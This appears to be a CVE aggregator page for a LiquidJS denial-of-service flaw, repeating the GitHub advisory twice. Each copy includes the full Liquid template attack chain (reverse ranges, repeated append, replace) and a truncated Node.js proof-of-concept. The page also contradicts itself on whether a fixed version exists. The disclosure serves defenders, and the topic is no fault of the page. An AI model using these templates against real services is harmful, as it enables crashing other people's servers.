CVE-2026-33285
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.
- Record
CVE-2026-33285- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20, CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2026-16062
7.5
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.
- Record
EUVD-2026-16062- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9r5m-9576-7f6x
7.5
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
Summary
LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.
Details
When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).
The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.
// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
const low: number = yield evalToken(token.lhs, ctx)
const high: number = yield evalToken(token.rhs, ctx)
ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999)
return range(+low, +high + 1)
}
// src/util/limiter.ts:11-14
use (count: number) {
count = +count || 0
assert(this.base + count <= this.limit, this.message)
this.base += count // base becomes negative
}
Escalation to Process Crash via Cons-String Flattening
V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.
However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:
- Cannot be caught by JavaScript
try-catchorprocess.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP)
- Crashes the entire service, not just the attacking connection
The complete attack chain:
- Insert 5 reverse ranges
{% for x in (100000000..1) %}{% endfor %}→ memory budget becomes -500M - Build a 134MB cons-string via 27 iterations of
{% assign s = s | append: s %}→ negligible actual memory - Apply
{% assign flat = s | replace: 'A', 'B' %}→ V8 attempts to flatten → Fatal error → process crash
The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.
PoC
- LiquidJS <= 10.24.x with
memoryLimitoption enabled - Attacker can control Liquid template source code
Save the following as poc_memorylimit_bypass.js and run with node poc_memorylimit_bypass.js:
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Baseline: memoryLimit blocks large allocation
console.log('=== Step 1: Baseline (should fail) ===');
try {
const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(baseline);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Blocked:', e.message); // "memory alloc limit exceeded"
}
// Step 2 — Bypass: reverse ranges drive counter negative
console.log('\n=== Step 2: Bypass…
- Record
GHSA-9r5m-9576-7f6x- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20, CWE-400
- Updated
- 2026-11-02
NVD
7.5
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.
- Record
CVE-2026-33285- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20, CWE-400
- Updated
- 2026-11-02
OSV
7.5
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.
- Record
CVE-2026-33285- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20, CWE-400
- Updated
- 2026-11-02
OSVGHSA-9r5m-9576-7f6x
7.5
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
Summary
LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.
Details
When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).
The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.
// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
const low: number = yield evalToken(token.lhs, ctx)
const high: number = yield evalToken(token.rhs, ctx)
ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999)
return range(+low, +high + 1)
}
// src/util/limiter.ts:11-14
use (count: number) {
count = +count || 0
assert(this.base + count <= this.limit, this.message)
this.base += count // base becomes negative
}
Escalation to Process Crash via Cons-String Flattening
V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.
However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:
- Cannot be caught by JavaScript
try-catchorprocess.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP)
- Crashes the entire service, not just the attacking connection
The complete attack chain:
- Insert 5 reverse ranges
{% for x in (100000000..1) %}{% endfor %}→ memory budget becomes -500M - Build a 134MB cons-string via 27 iterations of
{% assign s = s | append: s %}→ negligible actual memory - Apply
{% assign flat = s | replace: 'A', 'B' %}→ V8 attempts to flatten → Fatal error → process crash
The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.
PoC
- LiquidJS <= 10.24.x with
memoryLimitoption enabled - Attacker can control Liquid template source code
Save the following as poc_memorylimit_bypass.js and run with node poc_memorylimit_bypass.js:
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Baseline: memoryLimit blocks large allocation
console.log('=== Step 1: Baseline (should fail) ===');
try {
const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(baseline);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Blocked:', e.message); // "memory alloc limit exceeded"
}
// Step 2 — Bypass: reverse ranges drive counter negative
console.log('\n=== Step 2: Bypass…
- Record
GHSA-9r5m-9576-7f6x- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20, CWE-400
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
liquidjsnpm |
through 10.24.0 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33285 is a high vulnerability (CVSS 7.5) in Harttle Liquidjs, published March 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. No source names a fixed version.
References
github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x
github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578
nvd.nist.gov/vuln/detail/CVE-2026-33285
github.com/advisories/GHSA-9r5m-9576-7f6x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33285.json
github.com/harttle/liquidjs
Left out here: the rest of 2 source descriptions. The JSON record has them.